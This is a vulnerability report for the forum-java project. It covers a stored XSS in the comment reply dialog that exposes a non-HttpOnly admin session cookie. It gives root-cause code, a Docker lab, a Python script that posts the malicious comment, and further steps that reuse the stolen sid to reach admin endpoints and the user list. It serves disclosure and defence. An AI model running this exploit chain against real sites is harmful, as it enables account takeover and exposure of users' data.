# forum-java Vulnerability Report Software: forum-java Developer or vendor: Qbian61 Code repository: https://github.com/Qbian61/forum-java ## 1. Stored XSS in the Comment Reply Dialog Brief description: An attacker posts a comment that contains an XSS payload. The script runs when a victim clicks Reply on that comment, and the attacker takes over the account of the victim. Affected versions: 20f7e68 to 63152c49 Introduced in: [forum-java commit 20f7e68f](https://github.com/Qbian61/forum-java/commit/20f7e68ff5d465fe6de91adab4f94df36fc22f63) Preconditions: The attacker holds a regular account. ### Root Cause Comment content is stored and rendered without HTML sanitizing. `CommentManager.create` calls `CommentTransfer.toComment`, which saves the `content` field of the request into the `forum_comment` table as it is: ```java // forum-app/src/main/java/pub/developers/forum/app/transfer/CommentTransfer.java:19-26 commit 63152c49c7 public static Comment toComment(CommentCreateRequest request, User user) { return Comment.builder() .content(request.getContent()) .postsId(request.getPostsId()) .replyId(request.getReplyId()) .userId(user.getId()) .build(); } ``` The article page puts the comment content into a `data-reply-content` attribute: ```html ``` Thymeleaf HTML-escapes the attribute value, but the browser restores the entities when it parses `data-*` attributes, so `dataset.replyContent` holds the HTML the attacker submitted. When Reply is clicked, `posts-script.html` passes that value to `jQuery.html()`: ```js // forum-portal/src/main/resources/templates/include/posts-script.html:30-34 commit 63152c49c7 $('.reply-comment').on('click', function (e) { $('#commentModalDropLabel').html('回复 ' + this.dataset.replyNickname); $('#repliedContent').html(this.dataset.replyContent); replyContent.attr('placeholder', '回复' + this.dataset.replyNickname); replyBtn.attr('data-reply-id', this.dataset.replyId); }); ``` `jQuery.html()` parses the string as HTML, so the `` inside the comment runs when the dialog opens. The script runs in the origin of the site and reads the cookies of the page. The `sid` cookie that the server sets after login carries `Path=/` and no `HttpOnly`, so the script can read it. The comment appears immediately and passes no review. ### Reproduction Environment The upstream repository ships no compose file, so the lab builds the jar with a Maven image and runs it next to MySQL. The build commands are: ```bash git clone https://github.com/Qbian61/forum-java.git cd forum-java docker run --rm -v "$PWD":/src -w /src maven:3.8-jdk-8 mvn -B -DskipTests package ``` Copy `forum-starter/src/main/resources/schema.sql` and `data.sql` from the repository to `mysql-init/01-schema.sql` and `mysql-init/02-data.sql`. MySQL 8.0 does not parse `data.sql` as UTF-8 when it imports it, so add `SET NAMES utf8mb4;` on the first line of `02-data.sql`, otherwise the Chinese text on the page turns into mojibake. Then add one more SQL file that sets the password of the built-in administrator account to `Admin@12345`, so that the session hijack can be demonstrated: ```sql -- mysql-init/03-admin.sql UPDATE `forum_user` SET `password` = '14ab33f6d1cb88c0d2e563da939f0303' WHERE `id` = 1; ``` Write `docker-compose.yml` in the repository root: ```yaml services: db: image: mysql:8.0 command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci environment: MYSQL_ROOT_PASSWORD: forumroot MYSQL_DATABASE: forum-java volumes: - ./mysql-init:/docker-entrypoint-initdb.d:ro healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-pforumroot"] interval: 5s timeout: 5s retries: 40 app: image: eclipse-temurin:8-jre depends_on: db: condition: service_healthy environment: SPRING_DATASOURCE_URL: jdbc:mysql://db:3306/forum-java?useUnicode=true&characterEncoding=UTF-8&useSSL=false&useAffectedRows=true&allowPublicKeyRetrieval=true SPRING_DATASOURCE_USERNAME: root SPRING_DATASOURCE_PASSWORD: forumroot ports: - "18080:8080" volumes: - ./forum-starter/target/forum-java.jar:/app/app.jar:ro command: ["java", "-Dfile.encoding=UTF-8", "-jar", "/app/app.jar"] ``` Start the lab: ```bash docker compose up -d ``` In the steps below the site is reached at `http://127.0.0.1:18080`, and `192.0.2.10` stands for the host address. When the page address contains `127.0.0.1` or `localhost`, the admin SPA fixes the axios `baseURL` to `http://localhost:8080`; open the admin page through `http://192.0.2.10:18080/admin/user-manager` so that `baseURL` stays a relative path. ### Reproduction Register the attacker account `attacker@example.com`, publish an article, and post a comment under it: ```python import time import httpx BASE = "http://127.0.0.1:18080" c = httpx.Client(base_url=BASE, timeout=20) r = c.post("/user-rest/register", json={ "email": "attacker@example.com", "nickname": "attacker", "password": "Attacker@12345"}) print(r.status_code, r.text) r = c.post("/article-rest/save", json={ "typeId": 3, "title": "XSS demo", "contentType": "MARKDOWN", "markdownContent": "hello", "htmlContent": "

hello

", "headImg": "", "tagIds": [188]}) print(r.status_code, r.text) article_id = r.json()["data"] time.sleep(3) payload = '' r = c.post("/comment-rest/create", json={"postsId": article_id, "content": payload}) print(r.status_code, r.text) print(f"article: {BASE}/article/{article_id}") ``` The `time.sleep(3)` in the script waits for `PostsAuditTask` to move the new article from the pending state to approved. The output is: ``` 200 {"code":200,"message":"success","success":true,"data":"479c1e1d31ed4df8b0e7e7b6f3b932c3"} 200 {"code":200,"message":"success","success":true,"data":1} 200 {"code":200,"message":"success","success":true,"data":null} article: http://127.0.0.1:18080/article/1 ``` Log in as `admin@developers.pub` with the password `Admin@12345` in the top right corner of the page, then open `http://127.0.0.1:18080/article/1`. The comment is listed: ![](img/01-article-comment.png) Click Reply at the bottom right of the comment. The dialog renders the comment content as HTML, the payload runs, and the cookie of the administrator appears in the dialog: ![](img/02-reply-modal.png) The `sid` in the dialog is the administrator session; its value is `c467357de8704451b7bbaaba1edca320`. Use it to call the user management endpoint: ```python import httpx sid = "c467357de8704451b7bbaaba1edca320" c = httpx.Client(base_url="http://127.0.0.1:18080", cookies={"sid": sid}) r = c.post("/admin-rest/user/page", json={"pageNo": 1, "pageSize": 20, "filter": {}}) print(r.text) ``` The output is: ``` {"code":200,"message":"success","success":true,"data":{"list":[{"id":3,"email":"attacker@example.com","role":"用户","nickname":"attacker","sex":"未知","state":"未激活","avatar":"https://sdn.geekzu.org/avatar/dec4ff5dcb1fff0affb8e35deb20e25f?d=retro","signature":"","createAt":"2026-11-14 14:14:30","updateAt":"2026-11-14 14:14:29"},{"id":1,"email":"admin@developers.pub","role":"管理员","nickname":"管理员-0","sex":"未知","state":"启用","avatar":"https://sdn.geekzu.org/avatar/1a3bb2d10df88c92716c83875d1e81ee?d=retro","signature":"开发者客栈管理员","createAt":"2020-10-01 08:00:01","updateAt":"2026-11-14 14:14:52"},{"id":2,"email":"superadmin@developers.pub","role":"超级管理员","nickname":"开发者客栈","sex":"未知","state":"启用","avatar":"https://sdn.geekzu.org/avatar/f0144b36290972dc34825f2d2e3f97c5?d=retro","signature":"开发者客栈官方超级管理员","createAt":"2020-10-01 08:00:01","updateAt":"2020-10-01 08:00:01"}],"total":3,"size":3}} ``` Open `http://192.0.2.10:18080` in a browser that never logged in, write the `sid` from the console, and then open `http://192.0.2.10:18080/admin/user-manager`: ```js document.cookie = 'sid=c467357de8704451b7bbaaba1edca320; path=/'; localStorage.setItem('token', 'c467357de8704451b7bbaaba1edca320'); ``` The admin backend loads, and the user list shows the email and role of every account on the site: ![](img/03-admin-backend.png)